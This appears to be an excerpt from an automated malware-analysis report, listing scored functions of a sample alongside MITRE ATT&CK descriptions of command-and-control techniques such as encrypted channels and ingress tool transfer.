Function 00007FF652E75CE4 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 432
networkCOMMON

Function 00007FF652EB6F2C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 178
libraryloaderCOMMON

Function 00007FF652E74A04 Relevance: 12.9, APIs: 5, Strings: 3, Instructions: 869
COMMON

Function 00007FF652EE4514 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 380
nativeCOMMON

Function 00007FF652E31180 Relevance: 12.2, APIs: 8, Instructions: 201
sleepstringCOMMON

Function 00007FF652E76A17 Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 515
networkCOMMON

Function 00007FF652E7363E Relevance: 49.7, APIs: 27, Strings: 1, Instructions: 706
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre